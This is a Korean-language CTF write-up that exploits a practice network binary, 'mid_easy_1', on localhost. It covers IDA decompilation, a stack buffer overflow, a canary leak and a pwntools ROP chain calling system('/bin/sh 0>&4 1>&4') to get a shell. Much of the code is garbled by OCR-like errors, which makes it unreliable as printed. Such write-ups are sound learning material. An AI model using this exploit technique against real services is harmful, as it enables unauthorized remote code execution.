먼저 ida로 분석한 것은 다음과 같다.

```
υ5 = atoi(a2[1]);
  else
    v5 = 8181;
  dword_804B1BC = socket(2, 1, 0);
 if ( dword_804B1BC == -1 )
    perror("[!] socket Error!");
    exit(1);
  }
 v6 = 2;
 v7 = htons(v5);
 v8 = 0;
 bzero(&v9, 8u);
 04 = 1;
  setsockopt(dword_804B1BC, 1, 2, &v4, 4u);
  if ( bind(dword 804B1BC, (const struct sockaddr *)&v6, 0x10u) == -1 )
    perror("[!] bind Error!");
    exit(1);
  if ( listen(dword_804B1BC, 1024) == -1 )
    perror("[!] listen Error!");
    exit(1);
  while (1)
    while (1)
      fd = accept(dword 804B1BC, (struct sockaddr *)&v10, (socklen t *)&v3);
      if ( fd != -1 )
        break;
     perror("[!] accept Error!");
    if ( !fork() )
     break;
    close(fd);
    while ( waitpid(-1, 0, 1) > 0 )
  SendString_8048B87();
 close(dword_804B1BC);
 close(fd);
 return *MK_FP(__GS__, 20) ^ v11;
}
```

그냥 위에는 소켓을 여는 함수이고, 그 다음 SendString이란 함수를 호출한다.

이 함수를 들여다보면

```
int SendString 8048B87()
 int (*v1)(); // [sp+14h] [bp-124h]@1
 int v2; // [sp+18h] [bp-120h]@1
 int v3; // [sp+98h] [bp-A0h]@1
 char v4; // [sp+A0h] [bp-98h]@1
 int v5; // [sp+12Ch] [bp-Ch]@1
 v5 = *MK_FP(\underline{GS}_, 20);
 v1 = SendTimeout 804880D;
 sigemptyset((sigset_t *)&v2);
 v3 = 0x200000000;
 if ( sigaction(14, (const struct sigaction *)&v1, (struct sigaction *)&v4) < 0 )
    perror("[!] Sigaction Error!");
    exit(0);
  }
  alarm(5u);
 SendStrange1_8048851();
 MANU_8048A71();
 SengStrange2 8048881();
 return *MK_FP(__GS__, 20) ^ v5;
}
```

다음과 같이 SendStrange1, MANU, SendStrange2라는 함수를 호출하는데, SendStrange1,2 모두 이상한 글자들을 Send 하는 것이라 별 필요가 없고 MANU를 보도록한다.

```
int MANU 8048A71()
 int MenuValue; // [sp+1Ch] [bp-3Ch]@2 8byte
 char InputValue; // [sp+24h] [bp-34h]@1 40byte
 int v3; // [sp+4Ch] [bp-Ch]@1 12byte
  U3 = *MK_FP(\underline{GS}_, 20);
  memset(&InputValue, 0, 0x28u);
  while (1)
   while (1)
     while (1)
       SendMessage 80488B1("₩n=========#n");
       SendMessage 80488B1("1. Echo₩n");
       SendMessage 80488B1("2. Reverse Echo₩n");
       SendMessage 80488B1("3. Exit₩n");
       SendMessage_80488B1("=============#n");
       MenuValue = SelectMenu 804895A();
       if ( MenuValue != 1 )
         break;
       SendMessage_80488B1("Input Your Message : ");
       Recv 8048907(&InputValue, 0x64u); // 100byte
       SendMessage_80488B1(&InputValue);
     if ( MenuValue != 2 )
       break;
     SendMessage_80488B1("Input Your Message : ");
     Recv_8048907(&InputValue, 0x64u);
     Encrypt_80489C8(&InputValue);
     SendMessage_80488B1(&InputValue);
   if ( MenuValue == 3 )
     break;
   SendMessage 80488B1("₩n[!] Wrong Input₩n");
 return *MK_FP(__GS__, 20) ^ ∪3;
}
MANU함수를 보면 취약점이 존재함을 알 수 있다.
위에서 보면 InputValue는 40바이트로 할당되어있는데, Recv_8048907 함수에서는 100byte
를 할당받는다(Recv_8048907 함수 안에는 똑같이 recv로 값을 받는다.).
이 함수에서 스택버퍼오버플로우가 발생함을 알 수 있다.
```

이제 취약점을 찾았으니 gdb로 분석을 해보기로 했다.

이번에 배운대로 pwntools의 기능을 활용해서 풀어보기로 했다.

```
from pwn import *

gcontext_log_level="debug"

r = remote("127.0.0.1", 8181)
e = ELF('./mid_easy_1')
print e
```

처음에는 이 부분으로만 시작했다. 이러면 mid_easy_1의 ELF 정보가 나올 것이다.

Partial RELRO(GOT overwrite 가능), 스택 canary, NX가 걸려있음을 알 수 있다. NX가 있으니 쉘코드 문제는 아닌 것 같고 아마도 ROP 문제 같다.

먼저 ROP를 하기 전에 canary를 leak하는 과정이 필요하니 leak할 수 있는 곳을 찾아보았는데 아까 취약하다고 여겼던 Recv_8048907을 이용하면 될 것 같다. canary는 InputValue 바로 다음에 위치할 것이니, InputValue 40byte를 채우면 아마도 그 뒤에도 leak이 될 것 같다.

```
from pwn import *

#context_log_level="debug"

r = remote("127.0.0.1", 8181)
e = ELF('./mid_easy_1')
print e

print "[*] mid_easy_1 Exploit by 34t3rNULL"

print "[*] Canary Leak"
r.recvuntil("Select menu >")
r.sendline("1")
r.recvuntil("Input Your Message : ")
r.send("A"*40)
print hexdump(r.recv(1024))
```

코드는 다음과 같이 짰었다. 이러면 아마도 leak된 값이 나오지 않을까? 하고 봤다.

???? 안 되었다. 그래서 41바이트를 넣고 해보기로 했다.

```
imyoungsu@kimyoungsu-virtual-machine:/mnt/hgfs/vm_shared$ python sample.py
+] Opening connection to 127.0.0.1 on port 8181: Done
*] '/mnt/hgfs/vm_shared/mid_easy_1'
            1386-32-little
  Arch:
  RELRO:
            Partial RELRO
  Stack:
  NX:
  PIE:
LF('/mnt/hgfs/vm_shared/mid_easy_1')
*] mid_easy_1 Exploit by 34t3rNULL
*] Canary Leak
  Canary Leak
00000020 41 41 41 41 41 41 41 41 46 dc d5
                                                        AAAA AAAA AF
00000020
*] Closed connection to 127.0.0.1 port 8181
```

41바이트를 넣었을 때에야 leak이 된 것을 확인할 수 있다. 아마도 널 바이트 때문에 40넣었을 때 끊긴 것 같다. 그러면 마지막 바이트에 널을 붙이면 canary leak은 성공적일 것 같다.

이제 rop를 해보기로 했다. elf가 있어서인지 엄청 쉽게 rop를 짤 수 있었다. 먼저 ppppr 가젯을 구하기 위해 objdump를 이용하기로 했다. objdump -d ./mid_easy_1 | grep "ret" -B4를 치니까

8048eec:	5b	рор	%ebx
8048eed:	5e	рор	%esi
8048eee:	5f	рор	%edi
8048eef:	5d	рор	%ebp
8048ef0:	c3	ret	

군! 0x8048eec라는 곳이 ppppr 가젯임을 알 수 있다. rop 구문 짜는 것은 쉬웠다.

```
recv plt = e plt recv |
recv got = e got | recv |
send plt = e plt['send']
send got = e_got['send']
system_plt = e_plt<sub>['</sub>system<sub>']</sub>
bss = e.bss()
ppppr = 0x8048eec
print "[*] recv addr : " + hex(recv_plt)
print "[*] send addr : " + hex(send_plt)
print "[*] system addr : " + hex(system_plt)
payload = "A" * 40
payload += p_{32}(canary)
payload 🛻 "A" * 12
payload \leftarrow p_{32}(recv_plt)
payload \neq p32(ppppr)
payload + p32(4)
payload += p32(bss)
payload += p32(len("/bin/sh") + 1)
payload \neq p32(0)
payload \neq p_{32}(system_plt)
payload 🛻 "ABCD"
payload ቱ p32(bss)
r_recvuntil("Select menu >")
r_sendline("1")
r.recvuntil("Input Your Message : ")
r_sendline(payload)
r_recvuntil("Select menu >")
r_sendline("3")
r.recv(1024)
sleep(0.1)
r_sendline("/bin/sh")
r interactive()
```

위와 같이 짰는데 recv로 bss에 /bin/sh 공간을 할당해주고 system 함수로 /bin/sh를 실행 시키는 방향으로 짰다. 아무튼 이렇게 코드를 짜고 실행을 시켰더니

```
kimyoungsu@kimyoungsu-virtual-machine:/mnt/hgfs/vm_shared$ ./mid_easy_1
$ id
uid=1000(kimyoungsu) gid=1000(kimyoungsu) 그룹들=1000(kimyoungsu),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
$ ■
```

;;;; 서버에서 쉘이 떴다. 경석이에게 도움을 받았는데 /bin/sh 0>&4 1>&4를 사용하면 된다고 한다. 왜 그런지는 파일디스크립터를 검색해보라고 했는데

일단 /bin/sh 0>&4 1>&4는 리다이렉션이라고 한다. fork로 자식 프로세스를 만들면 부모프로세스의 fd array가 그대로 상속된다고 한다. 내가 이해한 바로는 mid_easy_1을 실행시키면 fork로 자식프로세스를 만들게 되고, mid_easy_1의 fd array를 그대로 이어받으니 나는 4번 fd를 가지게 된다. 하지만 내가 쉘코드를 실행시키면 내 fd에서 실행되는 것이 아닌 mid_easy_1의 자식 프로세스에서 실행되는 것이니 아마도 내 fd인 4번으로 리다이렉트를 시켜야 할 것 같다.

그래서 /bin/sh 0>&4 1>&4는 자식프로세스의 stdin, stdout을 4번인 나에게로 넘기는 것이되겠고, 이 코드를 실행시키면 mid_easy_1의 자식 프로세스를 간접적으로 조작할 수 있게 되는 것 같다.

암튼 /bin/sh 0>&4 1>&4로 바꾼 뒤 실행을 시키면

익스에 성공한다.